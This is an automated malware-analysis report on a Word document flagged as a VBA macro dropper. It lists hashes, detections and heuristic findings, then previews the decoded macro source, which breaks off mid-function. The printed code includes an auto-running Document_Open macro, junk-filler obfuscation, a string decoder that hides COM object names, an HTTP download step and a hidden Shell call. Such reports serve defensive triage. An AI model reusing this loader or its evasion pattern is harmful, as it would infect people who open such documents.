Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f026b334661d3144…

MALICIOUS

Office (OLE)

205.5 KB Created: 2018-05-09 10:23:00 Authoring application: Microsoft Office Word First seen: 2018-08-05
MD5: 2af081bcecdb306e9ac930f9fb5801f8 SHA-1: 1a11d6d94357e8dcc237aff24a535812a2915ff2 SHA-256: f026b334661d31440450372d83c7e7a22693ad4e3a29efdf3358844b6390440a
352 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing obfuscated VBA macros. The macros utilize `CreateObject` and `Shell` calls, and specifically download and write a file to disk using HTTP .ResponseBody + .SaveToFile. This indicates the document's primary purpose is to act as a dropper for a second-stage payload.

Heuristics 10

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell (XkvCl), 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            QGSPL = JPNwl.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Shell (XkvCl), 0
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set JPNwl = CreateObject(LsyuEua("MTi$cDrNo#snoafjtL.eX_M$LTHTT&TgP&"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.iec.ch Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 51855 bytes
SHA-256: ce8f6a7c9ee1ac09731c62bef51c61ca5a1d9057dded6aec12cae24558626590
Detection
ClamAV: No threats found
Obfuscation or payload: likely
541 of 823 identifiers look randomly generated (e.g. 'TZWGQesYwDUMHfzQXRKaiNDecfwIYcPCAjquYH') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub SkMMZq(ZpdXtPs As Integer, oPvEPlz As Double)
    JBiEfmr = "BqT#vVKrTE^N%nIG)" + "S&H?_-bIWxb" + "Fz$E$Cs%LEJL-"
    uvbPqtU = StrReverse("RcYS)ZHWCU!nqLPvV")
    CpyIP = RTrim("z_NZlRl--A")
    DSWgPPG = UCase("!o_-?tZ]-W&JXgsBn?^")
    oDrEv = Space(5)
    JBiEfmr = Space(15)
    dyLrtP = 270 - 1051 - 971
    oDrEv = LTrim("n@wPhRyIW_Hozs")
    MiEuD = 186 + 1058 + 1571
    JBiEfmr = Space(7)
    Xqqek = Left("rohsKJTM@]M#UY_ Vv", 3)
    AhcwtYVE = "J*FJUtJqJB" + "SsD^OA)iEjW*n" + "mB#mBz%w$)jbMRcDD%*"
    oDrEv = "XZWoaP)X!!]?]UjLN" + "X)$%KT)tRrBme_%W%tiq" + "kv-$ypOwZ%ZQIGs"
    DSWgPPG = 731 + 1304 + 1243
    dyLrtP = RTrim("AZcfI DR.&Ct")
    CpyIP = "Dl%U^e@Rw)f[" + "Q) hX#pJLxSl%s" + "mB[]W_kQNEpUUY"
    MiEuD = RTrim("YLZl.g.esSRsgn-C%^P")
    JBiEfmr = 1257 + 281 + 1640
    Xqqek = "VXAM#IGQ$oFdz" + "Z&msNMulXvMpD_gM" + "xPu?y[_?q(Ek^#A]?i@j"
    JBiEfmr = "CsBV%T_aOUd" + "Z)WZsOUHEoAaOyz" + "HMUC$q^v#%&fvLR$f"
    MiEuD = LTrim("*^d%lM^@S[*eDGUJ")
    oDrEv = Left(")_ @#QdjhtdF)(zw@wnS", 2)
    Xqqek = Space(13)
    JBiEfmr = StrReverse("ZimdC%ggPIt")
    dyLrtP = "s^RZzRWtVuugkFW(d)-r" + "G.R%&gQ$NfiG&u&FDq" + "uXSgi-PLj$)bUC$JQ.X"
    CpyIP = StrReverse("ulvtRQG?$zSA.d*tg")
    dyLrtP = UCase("#@[!MFHczfjeTTC")
    uvbPqtU = UCase("B?[EZJU(ZzencOe!crI")
    JBiEfmr = Right("Iea$$Y]PMIAw", 2)
    oDrEv = Right(")(DfNBKg@CRM]s?W", 3)
    dyLrtP = LTrim("U(XGy!SaD^VxIAryMz")
    While azNeSa < 22
        dyLrtP = StrReverse("@QyKmotuCh")
        YOiGSk = 1814 + 965 + 870
        YOiGSk = Space(15)
        MiEuD = LTrim("v!QzdR&iDq MpJdm^Iy")
        oDrEv = 397 - 1348 - 1774
        JBiEfmr = 257 - 1541 - 791
        azNeSa = azNeSa + 1
    Wend

    AhcwtYVE = StrReverse("u(Pl]H?PrI#B^K")
    uvbPqtU = RTrim(".[! dl%JZ@Lv_d^")
    For pUPUzB = 0 To 350
        dyLrtP = Left("c@i)Vg$._Gu", 2)
        JBiEfmr = LTrim("u$(!nJWhII")
        AhcwtYVE = "YIF?]CYC-T" + "YKIy!t!Letxzd^gdf" + "MzecxsKM.fpwCDzc"
        oDrEv = LTrim("z-XDDB^Emts")
    Next pUPUzB

    CpyIP = "wL?sZ-km_]" + "&QeOut!CUG" + "kY^F mG*sYHeEgjWT"
    uvbPqtU = 1838 + 1373 + 1562
    usUCSu = RTrim("cz(TEkD_ld%pfWAzAG")
End Sub

Private Function BfyZPz(DKdSYLt As Boolean) As String
    dyLrtP = StrReverse("&ow eroEfr-MpneC")
    titIeg = Space(7)
    oDrEv = Right("AhPx#OM!WwT]C", 3)
    titIeg = Space(9)
    AhcwtYVE = StrReverse("CsXjjbRB(ow_MDYT$AO")
    CpyIP = 1624 + 1957 + 1218
    uvbPqtU = RTrim("YmWn vBi?T")
    oDrEv = StrReverse("QqgOE_XUbIXh")
    CpyIP = UCase("kll.AotExuj&iq*d")
    While WFXVTg < 221
        DSWgPPG = UCase("^$i-NbQ_&IymfIGi$p#s")
        Xqqek = LTrim("hsLgX@XBUkVhs_vOVJ*r")
        YOiGSk = Space(17)
        WFXVTg = WFXVTg + 2
    Wend

    DSWgPPG = UCase("D(kxBgd-T!?tEfQ")
    YOiGSk = Right("%isTmAmo^^sbqcJ", 3)
    uvbPqtU = Space(6)
    MiEuD = LTrim("!m#UURi[JQedf#Sb")
    DSWgPPG = UCase("PLNn_S)lAPz$fQySz")
    Xqqek = Left("LreVBx?Xm)PQ", 5)
    JBiEfmr = 1236 - 805 - 1051
    dyLrtP = Space(6)
    oDrEv = Left("jtWIe%NBtn", 5)
    DSWgPPG = RTrim("QDkhm#bQ@UuIx)oqtl")
    dyLrtP = UCase("dX_DCnS(Gk-U.")
    Xqqek = Right("!JSKB@apf ", 4)
    oDrEv = "JR[hEuS%#!?Jydgmyp" + "EJGZ#g.oKFh.#" + "B?-kbv#!m&T"
    CpyIP = 609 - 1123 - 1695
    DSWgPPG = Left("]RWe&_bR_yId%EZ^BSv", 2)
    titIeg = Right("Du$PX^VvQ%", 3)
    uvbPqtU = Space(13)
    While eNttDi < 327
        Xqqek = RTrim("%qBjTiOnFaN^uuq")
        uvbPqtU = StrReverse("G@tPzms]@PMBq)v")
        YOiGSk = LTrim("YulJNVsr!kdE@")
        AhcwtYVE = Left("U]@Y^!nn&_a", 2)
        eNttDi = eNttDi + 1
    Wend

    YOiGSk = Right("$sxjdozA@ flj", 3)
    usUCSu = LTrim("cVA_R@v*GemYr(Zx?#")
    AhcwtYVE = LTrim("ED@jnO_p%L*gp")
    CpyIP = 1183 - 1423 - 1289
    usUCSu = LTrim("?P!IY)d^eH")
    BfyZPz = "VMpXxcYTUopBQyJtSGpfeANORkSkwLLkG"
End Function

Private Function uxuuFt(GSYQJJu As String, bfOaojs As Integer) As String
    DSWgPPG = StrReverse("[d@AC*gQvu]j")
    Xqqek = LTrim("nMZKn#YlwnUw")
    JBiEfmr = 1046 - 929 - 1044
    usUCSu = Right("(xROM!eBjURtJoHcAO", 4)
    DSWgPPG = LTrim("tEOeFTWF-t#")
    DSWgPPG = Right("O@UzR]CL-lnee*", 3)
    YOiGSk = 589 + 1373 + 1267
    usUCSu = RTrim("mkvEXV&ig$RLba")
    While MypRkj < 309
        uvbPqtU = Space(16)
        DSWgPPG = Right(" ksFxbZnycioC@VvU#d", 5)
        AhcwtYVE = Left("-t&yc.r%pj ZGr-&vW*", 3)
        YOiGSk = "o!d*SjPR#j" + "?S^PICDZu]DphXgNb_aJ" + "KVhkK[vN!F"
        MypRkj = MypRkj + 2
    Wend

    AhcwtYVE = LTrim("x%ZAruMW]F@ccWFMsGCA")
    usUCSu = UCase("TtNhDD@_XI- ")
    MiEuD = "_NuBkMRBNdQ%" + "a[v]NZdCUuiV" + "[]IAXWFVJ*bTzP["
    Xqqek = Space(4)
    titIeg = UCase("ABZPDsUwzi.MuHj)qvDm")
    MiEuD = Right("$XLi[QE^gLjChOnh", 2)
    dyLrtP = Right("KOfXqy*sES^Yk*h_!", 3)
    titIeg = 1776 - 1968 - 1981
    usUCSu = Right("FWThQRm$Wi?.ykCm.", 2)
    usUCSu = 944 - 1471 - 548
    CpyIP = LTrim("BG%[[d!A_ap")
    AhcwtYVE = RTrim("ZDNLZfhW(LO^d?y%Wh(#")
    dyLrtP = RTrim("pnvrtXROJO")
    uxuuFt = "kcbCsVDvaGBHFitxQSFtuR"
End Function

Private Sub LjXhvln(XkvCl As String, suUKenX As String, srRKhW As String, eednHxu As String, hVOWKI As String)
    JBiEfmr = Right("UNehJMn!VU$@", 3)
    AhcwtYVE = StrReverse("b.WyrqMEAwK-ZC?i")
    titIeg = Left("ZGBD-!nIqzQwP", 5)
    CpyIP = RTrim("C.oHxK^NX_c")
    While ppczlo < 263
        oDrEv = UCase("AD(w?Tr[VAgC]K^yJwbs")
        DSWgPPG = 510 + 1970 + 997
        usUCSu = Right("jVrpakiC.Euj.", 4)
        CpyIP = 1155 + 1769 + 867
        dyLrtP = 1109 + 1882 + 1036
        JBiEfmr = UCase("e?J* hLP*#zD%wptvlH$")
        oDrEv = Left("MHuOFJnKmwd%tXR", 3)
        dyLrtP = RTrim("w?tP!T.&fmFmizIE")
        ppczlo = ppczlo + 3
    Wend
    oDrEv = StrReverse("V^EGpCKXlciTZK*g")
    YOiGSk = Space(8)
    uvbPqtU = RTrim("pWIfwTVbvWfHI")
    titIeg = "BaAdKkURLZwCichBxP" + "bU q%KKoW H" + "]lCX-mutjaK"
    MiEuD = Right("Dz^pHxu$[m$ ?c(j", 2)
    Xqqek = 1869 + 214 + 165
    uvbPqtU = Space(8)
    oDrEv = Space(14)
    Shell (XkvCl), 0
    CpyIP = Left("M$gA(wKN?gmc", 5)
    JBiEfmr = RTrim("ZeJA%y.Nm&TcsWPi$NF")
    While VHLUIQ < 184
        uvbPqtU = RTrim("NJsYKtgqP-wt]_")
        AhcwtYVE = 1845 - 1629 - 1386
        oDrEv = UCase("U@(lSBCEM(D@")
        CpyIP = RTrim("VZEXz%CPKoaCkntV")
        JBiEfmr = LTrim("vQ)^pNsGy(Ca@?@yBQ(")
        usUCSu = LTrim("n&v?Eo [u((%ip")
        dyLrtP = Space(2)
        MiEuD = Left("l*JDcQHNQ*&Wk", 2)
        titIeg = "(CslncF@ok" + "fQ(eG@VmwL%V" + "m^$ iPoZTbk%l(!uI"
        VHLUIQ = VHLUIQ + 1
    Wend
    AhcwtYVE = 1309 - 712 - 419
    AhcwtYVE = UCase("Db@FsKW)e)vf")
    CpyIP = 1509 + 599 + 1232
End Sub

Private Function clasGV(CHzbzWE As String, hNFmwFE As Integer) As String
    While Lntweh < 155
        DSWgPPG = "-p(TjpmK]n$L&WutW@" + "(* MNHm[lrMK!c" + "Jw SXBM?QgQxz"
        titIeg = RTrim("^#$C%XE@XaA(")
        Lntweh = Lntweh + 3
    Wend

    titIeg = 1081 + 186 + 1042
    JBiEfmr = UCase("XL[DHI-Sx$d")
    Xqqek = "ByHV(VjoLFjVm" + "s!fVb@DRe]" + "$^M^J&dl-S$"
    CpyIP = StrReverse(".%PonlQdFYOdDP")
    usUCSu = UCase("cjKX[_N.Ax_")
    Xqqek = RTrim("h#ITF&(QmM")
    Xqqek = StrReverse("@sNMpS&]%xm")
    oDrEv = Left("q_* Ei?$(mYBLCmjv&", 2)
    YOiGSk = Right("K?GKwM%S.Le.Xxr?eg#P", 3)
    AhcwtYVE = Space(16)
    JBiEfmr = Left("#Z CYmJIKs[Ab.uggqLl", 3)
    MiEuD = RTrim("Lfdpcj#T#vC")
    AhcwtYVE = Left("Yi#YrGMq$EOLG", 5)
    usUCSu = "CwyO!?jQHg]" + "M_W!hLZk?^tnWvTxOsN" + "OwbnEGhuqs"
    AhcwtYVE = UCase("F-UXlV.bEYE(gk")
    AhcwtYVE = UCase("?zV)(gfG(SPp_VuF")
    uvbPqtU = 1906 + 1288 + 1207
    MiEuD = RTrim("JcPucG#ir!_-Rwg$vJg")
    titIeg = UCase("m!aU-$zKEmk!.RshAc[%")
    uvbPqtU = 829 - 971 - 1536
    uvbPqtU = Left("EPAvgf_Zxf] t", 2)
    JBiEfmr = 700 + 555 + 852
    MiEuD = RTrim("ZwkAXuzsvboXV$")
    Xqqek = 1974 - 159 - 930
    oDrEv = 964 - 822 - 485
    Xqqek = Space(15)
    usUCSu = Right("aK)$(DX#rHff]pkUFY", 3)
    AhcwtYVE = StrReverse("Bt$aj$]QW.Res)n)?u")
    oDrEv = Space(15)
    YOiGSk = 1385 - 229 - 172
    Xqqek = LTrim("Cz(xX)!rO%k")
    clasGV = "ftgEyjUPThkLjLYCJNdZCnVQEjkwwGci"
End Function

Private Sub oEBbDa(KfdXrU As Double, rfBSXxl As Double, ehfPgph As Integer)
    While tIIDWa < 220
        titIeg = Left("$x^^_dA^wVsBMz", 2)
        usUCSu = Right("Ax swNuDFnPnO[", 4)
        Xqqek = Space(4)
        oDrEv = Right("XyJwWm-adq F(T@", 5)
        dyLrtP = Right("aHQvNb&zN$rt.nB", 5)
        YOiGSk = UCase("FWKW%OZf]&nIAzn(t")
        usUCSu = UCase("VmFcqQMO?e")
        AhcwtYVE = LTrim("#kUMWBM$MK)YbxAzBtN%")
        tIIDWa = tIIDWa + 1
    Wend

    dyLrtP = 843 - 1581 - 453
    DSWgPPG = UCase("zF&LSZeZOW(")
    MiEuD = UCase("^%Q%biMuByn")
    titIeg = StrReverse("qlLL^N.Cr]eFCLTEwX_")
    JBiEfmr = Space(5)
    usUCSu = Space(19)
    DSWgPPG = 1230 + 1613 + 567
    YOiGSk = 1818 + 1894 + 561
    dyLrtP = StrReverse("tuTX!]paSflrCdkSDB")
    JBiEfmr = 1678 - 1869 - 1542
    usUCSu = "^$!j#MQx^rQ@fbgH" + "aenFnB hvtvm *Y" + "TxGD?I.-qbP.v[wKoVUx"
    DSWgPPG = 1691 - 575 - 315
    While dEljQn < 91
        dyLrtP = Left(")Fr%UoCjscyXgB?", 4)
        AhcwtYVE = 479 - 1417 - 1917
        MiEuD = Left("AZmv-]HhJ&$.JpHQ", 2)
        dyLrtP = UCase("$KK!(_(iFmvjjAi")
        titIeg = Left("S &)!WqV(X@N", 5)
        DSWgPPG = "IUCF^*wDN#dP^w?%%pL" + "jI?wTLigLD%v" + "Dfhr.WfvVGJkxz-RUp"
        Xqqek = LTrim("B!ymQbGFdPN")
        uvbPqtU = StrReverse("jO-ln[_ mb")
        DSWgPPG = StrReverse("hbOwlUwubSB$PmoMP)h")
        dEljQn = dEljQn + 1
    Wend

    uvbPqtU = "-i@f[(CcWa R" + "toA.!Uz E?T!RGWUc)Z" + "dd_-&#UqF$#NFUVQ^cY"
    AhcwtYVE = Right("cG_Ir@Q[yr]A]", 5)
    YOiGSk = Space(18)
    YOiGSk = LTrim("l?#L@n^!XqyO!V")
    uvbPqtU = Right("lKgvqhrtB$p", 2)
    titIeg = UCase("I(jrb)jxQc")
    uvbPqtU = StrReverse("lXlcjJ t.icq^d_#HhQ")
    MiEuD = 973 - 166 - 1413
    While kgWdsn < 350
        usUCSu = Space(9)
        YOiGSk = Right("xSgJVd)uYv", 3)
        MiEuD = LTrim("bPg$U%g[FRoRGaf")
        CpyIP = UCase("DIyM]HEVwR")
        Xqqek = RTrim("bihllLbhCVgoP")
        YOiGSk = 773 + 814 + 199
        AhcwtYVE = UCase("oQP(z.!.FZ*Uj*TW")
        usUCSu = 209 - 725 - 1745
        DSWgPPG = LTrim("b!pziol%#^Qx)iDlhoX")
        kgWdsn = kgWdsn + 1
    Wend

    YOiGSk = Left("(@!Cdf$I]Xr[", 3)
    CpyIP = StrReverse("S#!U.FBzWcasCEz[ayIO")
    YOiGSk = "wQ&PPUpXdOwrtPFBvu!-" + "eEYfNapSiyDD.ybT" + "%QW%FE%FwF&mC&R"
    titIeg = 150 + 1789 + 1432
    uvbPqtU = Left("_Q_yfkgvzw%OwWMUg", 4)
    MiEuD = 1981 + 1139 + 235
End Sub

Private Sub PTLcxa(RYLPeh As Integer, EmVOsH As Boolean, TETIIW As Boolean, zKbONP As String, zgBNmQ As Boolean)
    YOiGSk = UCase("% fdwaKFnzfIoxRbpW")
    uvbPqtU = LTrim("mC?[@.FEorX-rUZ_")
    While QJZgRg < 392
        YOiGSk = 490 - 1164 - 733
        uvbPqtU = "ZJ.D@ztvnj.!Gy*.q" + "YL]ET$rfZD" + "dGRBsghzurFfgo@d(q"
        YOiGSk = LTrim("k_O UcuJlEIRKjnBnVc")
        MiEuD = 546 + 1770 + 120
        MiEuD = 1654 + 1179 + 168
        dyLrtP = UCase("(Soh K&Ol?LckCHc EOo")
        Xqqek = Space(8)
        uvbPqtU = Left("jjkWGkgi[*cj.", 3)
        MiEuD = Left("a_)x[?(tNJZ", 2)
        AhcwtYVE = RTrim("._SqHG&bEmdmmQX")
        QJZgRg = QJZgRg + 1
    Wend

    DSWgPPG = "M)aCz_dxx-Jx" + "diTyY e$iKN?#F%]_I&h" + "V$lpkfooqM!i-yEQ^[Q"
    MiEuD = RTrim("hT([mJy%Nc@$$")
    Xqqek = UCase("L.A^?Lhs*tVySps$")
    AhcwtYVE = Right("K^Yxhmw-V)EtfOd#nc", 4)
    MiEuD = Right("w(KfpKb sIL", 3)
    JBiEfmr = 1137 + 333 + 1273
    AhcwtYVE = Right("(&s-VZhe(_I", 5)
    For YkGcWT = 0 To 113
        uvbPqtU = StrReverse("PKF(.vCYj@hLS-rEhy.g")
        DSWgPPG = LTrim("ndPV*.BvgOr MKTIJsv#")
        DSWgPPG = Left("F#RKJaqLCn-TO", 5)
        YOiGSk = 1610 - 1717 - 1769
    Next YkGcWT

    CpyIP = RTrim(" N TKM%b$chjmZzZGx")
    CpyIP = Right("bXZeVVrWh^viz%UgIm*", 3)
    oDrEv = "!uCzzw^iLMSMgLk(eC#" + "ptwL&cX(km" + "NFfPYhW@Drrp-tBTODz"
    usUCSu = Left("[oifGx?pcOWNvbNoE]", 4)
    JBiEfmr = LTrim("qHRo(yIU*&u(ue")
    oDrEv = StrReverse("OdJ.iypF?yGln")
    uvbPqtU = "UEISY%t_BczW-YXzUgr" + "qrRfKSEHFddcHxw" + "ez&SEUCEvopsxIFKU!"
    DSWgPPG = LTrim("Qd $@ngceXmP_bNFmg")
    oDrEv = Left("%(TPfy%_.k", 5)
    YOiGSk = 316 + 104 + 832
    dyLrtP = Space(3)
    YOiGSk = Right("a klSxN!ms!p", 4)
End Sub

Private Function LsyuEua(neCnjB As String) As String
    Dim jfITzVOv() As Byte
    While BTzBOU < 104
        MiEuD = "nb_o]&Q@mOId$B^@" + "#dmyUqFIB![" + "IKMdHVVoMN"
        Xqqek = 940 + 746 + 1328
        uvbPqtU = Right("#ShOUfwpHxACl#b ", 4)
        oDrEv = UCase("zGyQNuNCXU?ZE_r[hy")
        dyLrtP = StrReverse("F)-HF-Nx)i")
        DSWgPPG = UCase("URwGZnUxkCE")
        oDrEv = 1201 + 626 + 1931
        Xqqek = Left(")F-m$IK!ez_Pzci", 4)
        BTzBOU = BTzBOU + 1
    Wend
    For bDcpQE = 0 To 283
        DSWgPPG = LTrim("nwBCrlSy@.$LUcZvZiU")
        AhcwtYVE = StrReverse("Ee]cLq@Y!RfT ^g")
        Xqqek = UCase("iNFmljY[$cmB-zfW#")
        MiEuD = 192 + 318 + 1869
        dyLrtP = 915 - 1109 - 698
        JBiEfmr = Space(8)
        CpyIP = Left("qg* I[hf.$bz", 3)
        uvbPqtU = RTrim("j?*F]*E-qLC")
    Next bDcpQE
    dyLrtP = 1768 + 1680 + 604
    DSWgPPG = StrReverse("i]FHe-XdA[OtdEXF")
    DSWgPPG = "*ng(Qctz.*cpdB.DBBB" + "C*@nalaZp[#RNv" + "%tfutBqqNLIclgI"
    Dim KHYOux(512) As Byte
    usUCSu = 743 - 1197 - 1399
    usUCSu = StrReverse("z$WKMEBg$yj!?eu)[Q")
    titIeg = UCase("BJt((Zh@&&")
    For tuZSdt = 0 To 40
        JBiEfmr = LTrim(".yJo^].IH lmhk?Mi")
        MiEuD = Space(1)
        JBiEfmr = "M&g[^zOzReO!OLQ$" + "UJrn(b^(YEaIBK" + "$TrNvxTNtpw)HV"
        oDrEv = UCase("OlWLwtUs#Xk")
        YOiGSk = ")$n^cWXO@ElY#&jFwWz" + "!conRTVqsYDLOk#uu" + "s?$Pex!aeRxNjx#y]"
    Next tuZSdt
    MiEuD = 1661 - 1471 - 1677
    Dim aZZDib As Integer
    AhcwtYVE = 816 - 1241 - 1879
    For bCjWUi = 0 To 259
        CpyIP = "IskTLk-x?yn!d.O]b" + "II?vCQDasgS%.bnv!" + "OooQe&r[FY]XLiCaq-"
        AhcwtYVE = Right(")pe%BLNB_Lgc(hf", 5)
        dyLrtP = RTrim("_-ZepE(BWnH(Uz#")
        titIeg = StrReverse("R(SAE#HdzUx-ll")
    Next bCjWUi
    MiEuD = Left("?^AswO[.#Ytp(a@$oKM", 5)
    aZZDib = 0
    oDrEv = UCase("^Nr[ccJ(tP]i.#w!n")
    DSWgPPG = StrReverse("MGuIuu(ZyavQ")
    jfITzVOv = StrConv(neCnjB, vbFromUnicode)
    While ETZvYH < 65
        uvbPqtU = RTrim(".GMZEmggqMQ@Q$^E")
        DSWgPPG = "hPKpf AEl@wEBe" + "x([Et#HThL!wZycbN$-" + "r]@(gLE&utipqi"
        ETZvYH = ETZvYH + 2
    Wend
    While QWxOMD < 50
        oDrEv = Space(3)
        MiEuD = 165 + 798 + 521
        dyLrtP = LTrim("LPFb$)df(ilGHTN*ok?z")
        YOiGSk = "$^aq]ls[h-.cw.gE tUC" + "jGMH&Zh*nv" + "LY-Ohi-vBrACr"
        Xqqek = Space(9)
        dyLrtP = 1261 - 949 - 1895
        JBiEfmr = 1965 + 390 + 203
        titIeg = RTrim("rQMBR?_BMoNVYETCz")
        uvbPqtU = 1674 + 1201 + 1929
        Xqqek = StrReverse("mSV cSuMqhHpYuCLvyV")
        QWxOMD = QWxOMD + 1
    Wend
    MiEuD = Left("yzImyGVFOLY[n!Ja&", 4)
    DSWgPPG = "Whp@]nMhHZ.d#c)wE#" + "IkcLX]aQ_[YDys]@]*Tm" + "$r[kQj-VvRzHEZC##k"
    For kUsET = 0 To UBound(jfITzVOv) - 1
    While iEvnfC < 16
        dyLrtP = UCase("TUMUakdngG")
        DSWgPPG = Left("Yy#kvn FCV_!XN", 5)
        uvbPqtU = ")ygRWG[m.%JQZO" + "FZ]_?--I*r_v" + "orTzW*h-gHM CTxjt"
        AhcwtYVE = Right("eVOGr)FpodxZbwfn-", 4)
        iEvnfC = iEvnfC + 2
    Wend
    uvbPqtU = "pLb]w ]skEd*" + "&DjYF)BPw_ DaeRx?&Nk" + "Yaa](wEvK@cZHhUA)yTU"
        If (kUsET Mod 2 = 0) Then
        DSWgPPG = 174 + 1181 + 1051
        For oqLbGR = 0 To 72
            titIeg = Space(10)
            oDrEv = "IPBSVZIwWUR&l " + "KBVZk)nRox" + "hW@OIGI!QF[dK*Kq?"
            uvbPqtU = RTrim("YF*dP!lpt?*@mI$b^%sb")
            uvbPqtU = RTrim("(XLmutzK!)")
            MiEuD = UCase("X&fbTD^]@QIUzdq@P")
            usUCSu = 466 + 1016 + 1825
            usUCSu = LTrim("(v? eIgM]XApwZs s")
            AhcwtYVE = 1836 + 1607 + 1655
        Next oqLbGR
        CpyIP = Left("[*c!o]N)GmYgfUNde.mu", 2)
            KHYOux(aZZDib) = jfITzVOv(kUsET)
            Xqqek = Right("dPlsTUoq-M]-[!", 3)
            For VcstLm = 0 To 119
                JBiEfmr = Right("OxT$e()tSD%NYmBPj", 2)
                AhcwtYVE = 1196 - 1734 - 755
            Next VcstLm
            DSWgPPG = Right("PPJbv! ?Uiw]IAKl.s", 4)
            MiEuD = LTrim("H_JiJjtMovFwGfC")
            dyLrtP = Left("%v&YNqQv%Rd ", 2)
            aZZDib = aZZDib + 1
            While XXksZJ < 128
                uvbPqtU = Space(20)
                Xqqek = Left("(Vgnfab$cD%]&IImGn", 5)
                AhcwtYVE = "?qVzVR%TJaredylC" + "OsY.AUoWWsrb" + "XNMU[Ab!q^-gSnr(ds"
                dyLrtP = RTrim("Y!HuBClK!$")
                uvbPqtU = Space(13)
                AhcwtYVE = 1912 + 1477 + 1741
                MiEuD = Space(20)
                uvbPqtU = 1893 - 1588 - 1371
                DSWgPPG = Left(" ]%H]aEMeB$dDR[*", 3)
                oDrEv = Left("hy%wskIVtbKI]VJjq", 3)
                XXksZJ = XXksZJ + 2
            Wend
            YOiGSk = StrReverse("ao[anpqa@c")
            Xqqek = Left("PqC s?cefp", 3)
        End If
        usUCSu = 868 + 629 + 665
        Xqqek = "O!Vz[efz^RN!_x*k-Tpe" + "hcu@N]J% H" + "InEJvcks(FW"
        Xqqek = 1261 - 145 - 443
        While OLQiNb < 101
            CpyIP = 864 - 460 - 592
            CpyIP = RTrim("(f*tm-^xrcAGIAs")
            titIeg = Right("ntElHrn?d?v$", 2)
            titIeg = Right("RrRow-&vTWyxLXr^Nfw", 3)
            oDrEv = Right("q@sEm*@Zfp", 2)
            Xqqek = StrReverse("WVkn_Ilj#WHZrjYzm)Lc")
            MiEuD = RTrim("oeKocFs)!a_!Axeg")
            OLQiNb = OLQiNb + 3
        Wend
        CpyIP = StrReverse("^R#!o KJpFyoKpZw]")
    Next kUsET
    For pVeWUW = 0 To 123
        usUCSu = Space(7)
        oDrEv = LTrim("dx^M)AJ#$yzibEneaJU ")
        DSWgPPG = 181 - 1229 - 1906
        uvbPqtU = "I[I-BBoxXP@XD#JH" + "z?R *l&aoHEcxrmut" + "_?nyygiJmQ-"
        uvbPqtU = 193 + 837 + 274
    Next pVeWUW
    AhcwtYVE = UCase("WFjWAljQBYHOYWDf_xB.")
    LsyuEua = StrConv(KHYOux, vbUnicode)
End Function
Private Sub SFxXgp(WOaNXm As String, mZicqj As Double, PiDyiJ As String, AcWwhZW As String, haxGVS As Double)
    Xqqek = LTrim("CYPMi^lxMP")
    JBiEfmr = UCase("Iy]$pKtKXJ$Gr$@")
    Xqqek = Left("nOgjPHpQ^mml]FqkQ", 2)
    titIeg = RTrim("?!eyVGCP[EKwkn!p")
    usUCSu = StrReverse("#R*_RfsG#fkcFnIK(&%")
    MiEuD = Space(18)
    AhcwtYVE = Space(15)
    CpyIP = StrReverse("NJly^cBJvi")
    titIeg = StrReverse("Dz[&n[IvE%y^XWfD)")
    CpyIP = StrReverse("#uZcLZN]Vo*wMxt#")
    While EUNxZC < 205
        AhcwtYVE = Space(9)
        DSWgPPG = StrReverse("iw#z( ERvs.JbGu")
        usUCSu = Left("Rih^$AA#&bDk.D", 2)
        JBiEfmr = UCase("uX&&U$UzvjzHrW")
        dyLrtP = RTrim("pbm-v!?Z@r#_?G^On ")
        EUNxZC = EUNxZC + 3
    Wend

    DSWgPPG = Space(19)
    While TmSqag < 196
        YOiGSk = 293 - 538 - 884
        CpyIP = Space(18)
        YOiGSk = RTrim("w-!P[YN%EKk")
        uvbPqtU = 273 + 1220 + 285
        YOiGSk = StrReverse("l@gxHBRzLm%X&oB&")
        MiEuD = 395 - 1385 - 1454
        oDrEv = "B^Iy]iUfkV--rnr^dxP" + "gMEggFd^p^ccD" + "HoCyO#bEMGykOfPx"
        oDrEv = "O%N[NHpvP_K$FITdF!h" + "PnPpO?D-JfSsu" + "TY(HX&-jw_"
        TmSqag = TmSqag + 3
